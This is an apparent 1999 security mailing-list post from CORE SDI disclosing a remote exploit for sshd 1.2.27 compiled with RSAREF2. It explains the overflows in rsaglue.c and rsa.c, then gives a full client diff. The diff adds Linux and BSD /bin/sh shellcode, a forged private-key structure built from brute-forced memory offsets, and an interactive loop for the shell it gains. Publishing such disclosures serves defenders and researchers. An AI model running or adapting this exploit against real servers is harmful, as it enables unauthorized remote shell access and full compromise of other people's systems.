Ok, here is the exploit for SSH-1.2.27 compiled with RSAREF2. It was tested against sshd running on Linux (Redhat 6.0) and OpenBSD 2.6, from a Linux Redhat 6.0 box. Since its a modified ssh client, i will just send the diffs against an unpatched ssh-1.2.27 distribution. and i'll try to explain what it does. Description ~~~~~~~~ As noted in the advisories ( http://www.core-sdi.com/advisories/buffer%20overflow%20ing.htm and http://www.cert.org/advisories/CA-99-15-RSAREF2.html) there are TWO buffer overflows. The first is in the SSH distributed file rsaglue.c the second is in the rsa.c file that is part of the RSAREF2 distribution. Lets look at the buffer overflow in RSAPrivateDecrypt in rsa.c from rsaref2/sources: /* * RSA private-key decryption, according to PKCS #1. */ int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey) unsigned char *output; /* output block */ unsigned int *outputLen; /* length of output block */ unsigned char *input; /* input block */ unsigned int inputLen; /* length of input block */ R_RSA_PRIVATE_KEY *privateKey; /* RSA private key */ { int status; unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen, pkcsBlockLen; modulusLen = (privateKey->bits + 7) / 8; if (inputLen > modulusLen) return (RE_LEN); .if (status = RSAPrivateBlock (pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey)) ... There is a straight forward buffer overflow of pkcsBlock in RSAPrivateBlock, however, in order to exploit it we need to pass the (inputLen > modulusLen) check. Since input is the length of the evil packet sent by the client containing the shell code and of course enough data to exploit the overflow, its length is greater than the modulusLen of a standard RSA key, thus the check fails. We need then to provide our own privateKey with a large enough modulusLen (privateKey->bits) To do so, we exploit the buffer overflow in rsaglue.c: * Performs a private key decrypt operation. */ void rsa_private_decrypt(MP_INT *output, MP_INT *input, RSAPrivateKey *key) { unsigned char input_data[MAX_RSA_MODULUS_LEN]; unsigned char output_data[MAX_RSA_MODULUS_LEN]; unsigned int input_len, output_len, input_bits; R_RSA_PRIVATE_KEY private_key; if (key->bits > MAX_RSA_MODULUS_BITS) fatal("RSA key has too many bits for RSAREF to handle (max %d).", MAX_RSA_MODULUS_BITS); input_bits = mpz_sizeinbase(input, 2); input_len = (input_bits + 7) / 8; gmp_to_rsaref(input_data, input_len, input); rsaref_private_key(&private_key, key); if (RSAPrivateDecrypt(output_data, &output_len, input_data, input_len, &private_key) != 0) fatal("RSAPrivateDecrypt failed"); .... The overflow here is in gmp_to_rsaref(), we use it to modify the *key variable (an argument present in the stack on intel architectures, this is important since it wont be the same in other architectures, i.e. sparc) to point to a private key that we send. rsaref_private_key() copies that key to private_key and then calls RSAPrivateDecrypt with our bogus key, the second overflow (rsaref2's) is then exploited. There are several other constraints (check rsa.c:RSAPrivateBlock() and nn.c:NN_Encode() in rsaref2/sources if you are really interested) that forced us to send a bogus private key in a different packet, this packet gets stored in a global buffer that sshd uses to receive data from the network. The overall result is that RSAPrivateBlock() called from RSAPrivateDecrypt() returns to the portion of the global buffer that sshd uses to store our packet, the shell code is stored there. The bogus privateKey we send is generated with ssh-keygen, then at runtime, its loaded and several values are modified ( once again, for the really interested check that we set among other things myfakeKey.bits to 1182 and myfakeKey.d to 1). The exploit is more or less "script-kid-proof" since if it doesnt work a bit of debugging, coding and probably crypto skills are needed to make it work. Diff against ssh-1.2.27 ~~~~~~~~~~~~~~~~ diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi *** ssh-1.2.27/README.coresdi Wed Dec 31 21:00:00 1969 --- ssh-1.2.27-exploit/README.coresdi Tue Dec 14 19:21:10 1999 *************** *** 0 **** --- 1,32 ---- + /* + * + * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled in + * (--with-rsaref) + * + * Author: Alberto Solino <Alberto_Solino@core-sdi.com> + * + * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina. + * All rights reserved. + * + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES + * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING + * FROM THE USE OR MISUSE OF THIS SOFTWARE. + * + */ + + Tested on + SSH-1.2.27 Linux RedHat 6.0 + SSh-1.2.27 OpenBSD 2.6 + + Details + Relies on offsets taken from JUMP_TO_MY_KEY that are different on + different boxes. + If it doesnt work, check inside incoming.buf for the string "BETO" + and find the proper offsets from there. + Additionally, the -f nad -t options are available, to provide + a range of addresses and try to brute force remotely the right + one. + Specify the target os type with -o + Binary files ssh-1.2.27/exploit_key and ssh-1.2.27-exploit/exploit_key differ diff -N -c ssh-1.2.27/exploit_key.pub ssh-1.2.27-exploit/exploit_key.pub *** ssh-1.2.27/exploit_key.pub Wed Dec 31 21:00:00 1969 --- ssh-1.2.27-exploit/exploit_key.pub Tue Nov 30 01:14:10 1999 *************** *** 0 **** --- 1 ---- + 1024 35 126711790959034717449904354103174105464423905750911738400315407900752946071988773532672356922306687685191424606806952947660867911760697942514594956213990584856991678398353026692681430136274853402829183803383791361598788187120276305630837366787507026341329913385926890796258293060370046555624537870005279144741 root@jack Common subdirectories: ssh-1.2.27/gmp-2.0.2-ssh-2 and ssh-1.2.27-exploit/gmp-2.0.2-ssh-2 diff -N -c ssh-1.2.27/history ssh-1.2.27-exploit/history *** ssh-1.2.27/history Wed Dec 31 21:00:00 1969 --- ssh-1.2.27-exploit/history Tue Nov 16 21:41:36 1999 *************** *** 0 **** --- 1,7 ---- + Tue Nov 16 19:58:04 ART 1999 + En RSAPrivateBlock, no calcula la longitud de salida del buffer, simplemente copia + el tamanio del modulo que esta en privatekey, pero la longitud de los numeros + nunca es mayor que 128. + Tue Nov 16 21:41:15 ART 1999 + overflow en RSAPrivateDecrypt????!?!?!??!?!?! who knows!! fijarse... + Common subdirectories: ssh-1.2.27/rsaref2 and ssh-1.2.27-exploit/rsaref2 diff -N -c ssh-1.2.27/ssh.c ssh-1.2.27-exploit/ssh.c *** ssh-1.2.27/ssh.c Wed May 12 08:19:28 1999 --- ssh-1.2.27-exploit/ssh.c Tue Dec 14 19:03:59 1999 *************** *** 202,208 **** #include "readconf.h" #include "userfile.h" #include "emulate.h" - #ifdef LIBWRAP #include <tcpd.h> #include <syslog.h> --- 202,207 ---- *************** *** 212,217 **** --- 211,249 ---- int allow_severity = LOG_INFO; int deny_severity = LOG_WARNING; #endif /* LIBWRAP */ + #ifdef SSH_EXPLOIT + #define BETO_STR 0x80850f8 + unsigned long exp_offset=BETO_STR; + unsigned long exp_offset_to=BETO_STR; + unsigned char *shell_code; + unsigned long shell_code_len=0; + unsigned char linux_shell_code[]= + {0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 + ,0xeb ,0x44 ,0x5e ,0x89 ,0x76 + ,0x08 ,0x31 ,0xc0 ,0x88 ,0x46 ,0x07 ,0x89 ,0x46 + ,0x0c ,0x56 ,0xb9 ,0x00 ,0x00 ,0x00 ,0x00 ,0xbb + ,0x05 ,0x00 ,0x00 ,0x00 ,0xb0 ,0x3f ,0xcd ,0x80 + ,0xb9 ,0x01 ,0x00 ,0x00 ,0x00 ,0xbb ,0x05 ,0x00 + ,0x00 ,0x00 ,0xb0 ,0x3f ,0xcd ,0x80 ,0xb9 ,0x02 + ,0x00 ,0x00 ,0x00 ,0xbb ,0x05 ,0x00 ,0x00 ,0x00 + ,0xb0 ,0x3f ,0xcd ,0x80 ,0x5e ,0xb0 ,0x0b ,0x89 + ,0xf3 ,0x8d ,0x4e ,0x08 ,0x8d ,0x56 ,0x0c ,0xcd + ,0x80 ,0xe8 ,0xb7 ,0xff ,0xff ,0xff ,0x2f ,0x62 + ,0x69 ,0x6e ,0x2f ,0x73 ,0x68 ,0x00}; + unsigned char bsd_shell_code[]= + {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0xeb, 0x45, 0x5e, 0x89, 0x76, 0x08, 0x31, 0xc0, + 0x88, 0x46, 0x07, 0x89, 0x46, 0x0c, 0x6a, 0x00, + 0x6a, 0x05, 0x51, 0xb8, 0x5a, 0x00, 0x00, 0x00, + 0xcd, 0x80, 0x6a, 0x01, 0x6a, 0x05, 0x51, 0xb8, + 0x5a, 0x00, 0x00, 0x00, 0xcd, 0x80, 0x6a, 0x02, + 0x6a, 0x05, 0x51, 0xb8, 0x5a, 0x00, 0x00, 0x00, + 0xcd, 0x80, 0x6a, 0x00, 0x8d, 0x46, 0x08, 0x50, + 0x8b, 0x46, 0x08, 0x50, 0xb8, 0x3b, 0x00, 0x00, + 0x00, 0x31, 0xc9, 0x41, 0x51, 0xcd, 0x80, 0xe8, + 0xb6, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, + 0x2f, 0x73, 0x68, 0x00}; + #endif /* Random number generator state. This is initialized in ssh_login, and left initialized. This is used both by the packet module and by various *************** *** 275,280 **** --- 307,322 ---- /* Prints a help message to the user. This function never returns. */ void usage(void) { + #ifdef SSH_EXPLOIT + fprintf(stderr, "ssh/rsaref2 exploit by Core SDI SA (c) 1999\n"); + fprintf(stderr, "Usage:\n\t%s [-f offset_from] [-t offset_to] -o ostype host\n",av0); + fprintf(stderr, "where:\n"); + fprintf(stderr, "\toffset_from: start offset for brute force\n"); + fprintf(stderr, "\toffset_to: end offset for brute force\n"); + fprintf(stderr, "\tostype: remote machine ostype\n"); + fprintf(stderr, " BSD : for (*BSD)\n"); + fprintf(stderr, " Linux : for Intel Linuxes\n\n"); + #else fprintf(stderr, "Usage: %s [options] host [command]\n", av0); fprintf(stderr, "Options:\n"); fprintf(stderr, " -l user Log in using this user name.\n"); *************** *** 321,326 **** --- 363,369 ---- fprintf(stderr, " -C Enable compression.\n"); fprintf(stderr, " -g Allow remote hosts to connect to local port forwardings\n"); fprintf(stderr, " -o 'option' Process the option as if it was read from a configuration file.\n"); + #endif exit(1); } *************** *** 504,510 **** --- 547,557 ---- opt = av[optind][1]; if (!opt) usage(); + #ifdef SSH_EXPLOIT + if (strchr("fto", opt)) /* options with arguments */ + #else if (strchr("eilcpLRo", opt)) /* options with arguments */ + #endif { optarg = av[optind] + 2; if (strcmp(optarg, "") == 0) *************** *** 522,527 **** --- 569,594 ---- } switch (opt) { + #ifdef SSH_EXPLOIT + case 'f': + exp_offset = strtoul(optarg,NULL,16); + break; + case 't': + exp_offset_to = strtoul(optarg,NULL,16); + break; + case 'o': + if ( !strcmp(optarg,"BSD") ) { + shell_code = bsd_shell_code; + shell_code_len = sizeof(bsd_shell_code); + } + else if ( !strcmp(optarg,"Linux") ) { + shell_code = linux_shell_code; + shell_code_len = sizeof(linux_shell_code); + } + else + usage(); + break; + #else case 'n': stdin_null_flag = 1; break; *************** *** 681,692 **** case 'g': options.gateway_ports = 1; break; ! default: usage(); } } ! /* Check that we got a host name. */ if (!host) usage(); --- 748,766 ---- case 'g': options.gateway_ports = 1; break; ! #endif default: usage(); } } ! #ifdef SSH_EXPLOIT ! if ( shell_code == NULL ) ! usage(); ! if ( exp_offset_to < exp_offset ) { ! fprintf(stderr,"Invalid offsets!\n"); ! usage(); ! } ! #endif /* Check that we got a host name. */ if (!host) usage(); *************** *** 793,798 **** --- 867,876 ---- rhosts_authentication is true. Note that the random_state is not yet used by this call, although a pointer to it is stored, and thus it need not be initialized. */ + #ifdef SSH_EXPLOIT + do + { + #endif ok = ssh_connect(host, options.port, options.connection_attempts, !use_privileged_port, original_real_uid, options.proxy_command, &random_state); *************** *** 846,857 **** original_real_uid); options.user_hostfile = tilde_expand_filename(options.user_hostfile, original_real_uid); ! /* Log into the remote system. This never returns if the login fails. Note: this initializes the random state, and leaves it initialized. */ ssh_login(&random_state, host_private_key_loaded, &host_private_key, host, &options, original_real_uid); ! /* We no longer need the host private key. Clear it now. */ if (host_private_key_loaded) rsa_clear_private_key(&host_private_key); --- 924,941 ---- original_real_uid); options.user_hostfile = tilde_expand_filename(options.user_hostfile, original_real_uid); ! #ifdef SSH_EXPLOIT ! fprintf(stdout,"Tryin'... 0x%x\n",exp_offset); ! #endif /* Log into the remote system. This never returns if the login fails. Note: this initializes the random state, and leaves it initialized. */ ssh_login(&random_state, host_private_key_loaded, &host_private_key, host, &options, original_real_uid); ! #ifdef SSH_EXPLOIT ! exp_offset++; ! } while (exp_offset<=exp_offset_to); ! fprintf(stderr,"Didn't work ;( \n"); ! #endif /* We no longer need the host private key. Clear it now. */ if (host_private_key_loaded) rsa_clear_private_key(&host_private_key); diff -N -c ssh-1.2.27/sshconnect.c ssh-1.2.27-exploit/sshconnect.c *** ssh-1.2.27/sshconnect.c Wed May 12 08:19:29 1999 --- ssh-1.2.27-exploit/sshconnect.c Thu Dec 9 17:09:39 1999 *************** *** 214,220 **** #include "mpaux.h" #include "userfile.h" #include "emulate.h" - #ifdef KERBEROS #ifdef KRB5 #include <krb5.h> --- 214,219 ---- *************** *** 1271,1276 **** --- 1270,1280 ---- const char *orighost, Options *options, uid_t original_real_uid) { + #ifdef SSH_EXPLOIT + extern unsigned long exp_offset; + extern unsigned char *shell_code; + extern unsigned long shell_code_len; + #endif int i, type, len, f; char buf[1024], seedbuf[16]; char *password; *************** *** 1278,1283 **** --- 1282,1298 ---- MP_INT key; RSAPublicKey host_key; RSAPublicKey public_key; + #ifdef SSH_EXPLOIT + MP_INT fakekey; + int retval; + unsigned char first; + struct sockaddr_in sin; + int sin_len=sizeof(struct sockaddr_in); + RSAPrivateKey myfakeKey; + RSAPrivateKey myPrivateKey; + char private_key_filename[]="exploit_key"; + fd_set rfds; + #endif unsigned char session_key[SSH_SESSION_KEY_LENGTH]; const char *server_user, *local_user; char *cp, *host; *************** *** 1501,1506 **** --- 1516,1522 ---- /* Generate an encryption key for the session. The key is a 256 bit random number, interpreted as a 32-byte key, with the least significant 8 bits being the first byte of the key. */ + for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++) session_key[i] = random_get_byte(state); *************** *** 1519,1532 **** else mpz_add_ui(&key, &key, session_key[i]); } ! /* Encrypt the integer using the public key and host key of the server (key with smaller modulus first). */ if (mpz_cmp(&public_key.n, &host_key.n) < 0) { /* Public key has smaller modulus. */ assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED); - rsa_public_encrypt(&key, &key, &public_key, state); rsa_public_encrypt(&key, &key, &host_key, state); } --- 1535,1552 ---- else mpz_add_ui(&key, &key, session_key[i]); } ! #ifdef SSH_EXPLOIT ! if ( load_private_key(getuid(),private_key_filename,"",&myPrivateKey,NULL)==0) { ! fprintf(stderr,"Cannot locate private key %s\n",private_key_filename); ! exit(1); ! } ! #endif /* Encrypt the integer using the public key and host key of the server (key with smaller modulus first). */ if (mpz_cmp(&public_key.n, &host_key.n) < 0) { /* Public key has smaller modulus. */ assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED); rsa_public_encrypt(&key, &key, &public_key, state); rsa_public_encrypt(&key, &key, &host_key, state); } *************** *** 1534,1540 **** { /* Host key has smaller modulus (or they are equal). */ assert(public_key.bits >= host_key.bits + SSH_KEY_BITS_RESERVED); - rsa_public_encrypt(&key, &key, &host_key, state); rsa_public_encrypt(&key, &key, &public_key, state); } --- 1554,1559 ---- *************** *** 1564,1569 **** --- 1583,1637 ---- for (i = 0; i < 8; i++) packet_put_char(check_bytes[i]); + #ifdef SSH_EXPLOIT + for ( i = 0 ; i < 16; i++ ) { + mpz_mul_2exp(&key, &key, 8); + mpz_add_ui(&key, &key, i+1); + } + /* Aca seto el lugar donde va a estar la clave nueva cambiada*/ + for ( i = 0; i < 4 ; i++ ) { + mpz_mul_2exp(&key,&key,8); + mpz_add_ui(&key,&key, ((exp_offset+9) >> (i*8) & 0xff)); + } + + /* Con esto fuerzo a que el ciphertext sea mas chico que el modulo*/ + key._mp_d[31]=0; + key._mp_d[32]=0; + key._mp_d[3]=htonl(exp_offset+0x5b); + /* Ret address a mi codigo */ + //key._mp_d[3]=0x51510808; // JUMP_TO_MY_KEY+87 dado vuelta + /* + No se porque mierda ahora hay que invertilo... + key._mp_d[3]=JUMP_TO_MY_KEY+80; + */ + + myfakeKey.bits = 1182; /* Tamanio de la clave */ + myfakeKey.n._mp_alloc = 33; + myfakeKey.n._mp_size = 32; + myfakeKey.n._mp_d = (unsigned long int *)(exp_offset+184); + + myfakeKey.e._mp_alloc = 1; + myfakeKey.e._mp_size = 1; + myfakeKey.e._mp_d = (unsigned long int *)(exp_offset+316); + + myfakeKey.d._mp_alloc = 1; + myfakeKey.d._mp_size = 1; + myfakeKey.d._mp_d = (unsigned long int *)(exp_offset+25); + + myfakeKey.u._mp_alloc = 17; + myfakeKey.u._mp_size = 16; + myfakeKey.u._mp_d = (unsigned long int *)(exp_offset+460); + + myfakeKey.p._mp_alloc = 17; + myfakeKey.p._mp_size = 16; + myfakeKey.p._mp_d = (unsigned long int *)(exp_offset+392); + + myfakeKey.q._mp_alloc = 17; + myfakeKey.q._mp_size = 16; + myfakeKey.q._mp_d = (unsigned long int *)(exp_offset+324); + + #endif + /* Send the encrypted encryption key. */ packet_put_mp_int(&key); *************** *** 1571,1579 **** --- 1639,1686 ---- packet_put_int(SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN); /* Send the packet now. */ + #ifdef SSH_EXPLOIT + packet_put_string("BETO",4); + packet_put_string((char *)&myfakeKey,sizeof(myfakeKey)); + packet_put_string(shell_code, shell_code_len); + packet_put_string((char *)myPrivateKey.n._mp_d,myPrivateKey.n._mp_size*4); + packet_put_string((char *)myPrivateKey.e._mp_d,myPrivateKey.e._mp_size*4); + packet_put_string((char *)myPrivateKey.q._mp_d,myPrivateKey.q._mp_size*4); + packet_put_string((char *)myPrivateKey.p._mp_d,myPrivateKey.p._mp_size*4); + packet_put_string((char *)myPrivateKey.u._mp_d,myPrivateKey.u._mp_size*4); + #endif packet_send(); packet_write_wait(); + #ifdef SSH_EXPLOIT + usleep(10); + first = 1; + i = write(packet_get_connection_in(),"id\n",3); + if ( getpeername(packet_get_connection_in(),(struct sockaddr *)&sin, &sin_len) == -1) + return; + + while (1) { + FD_ZERO(&rfds); + FD_SET(packet_get_connection_in(),&rfds); + FD_SET(STDIN_FILENO,&rfds); + if ( (retval = select(packet_get_connection_in()+1,&rfds,NULL,NULL,NULL)) < 0 ) + return; + if (FD_ISSET(STDIN_FILENO,&rfds)) { + i=read(STDIN_FILENO,buf,sizeof(buf)); + write(packet_get_connection_out(),buf,i); + } else if (FD_ISSET(packet_get_connection_in(),&rfds)) { + i=read(packet_get_connection_in(),buf,sizeof(buf)); + if ( first ) + if ( strncmp(buf,"uid",3) ) + return; + else { + fprintf(stdout,"Got it!\n"); + first = 0; + } + write(STDOUT_FILENO,buf,i); + } + } + #endif /* Destroy the session key integer and the public keys since we no longer need them. */ mpz_clear(&key); *************** *** 1583,1588 **** --- 1690,1697 ---- debug("Sent encrypted session key."); /* Set the encryption key. */ + packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH+120, + options->cipher, 1); packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, options->cipher, 1); Common subdirectories: ssh-1.2.27/zlib-1.0.4 and ssh-1.2.27-exploit/zlib-1.0.4 -- "Understanding. A cerebral secretion that enables one having it to know a house from a horse by the roof on the house, It's nature and laws have been exhaustively expounded by Locke, who rode a house, and Kant, who lived in a horse." - Ambrose Bierce ==================[ CORE Seguridad de la Informacion S.A. ]========= Iván Arce Presidente PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A email : iarce@core-sdi.com http://www.core-sdi.com Pte. Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402 Casilla de Correos 877 (1000) Correo Central ===================================================================== --- For a personal reply use iarce@core-sdi.com
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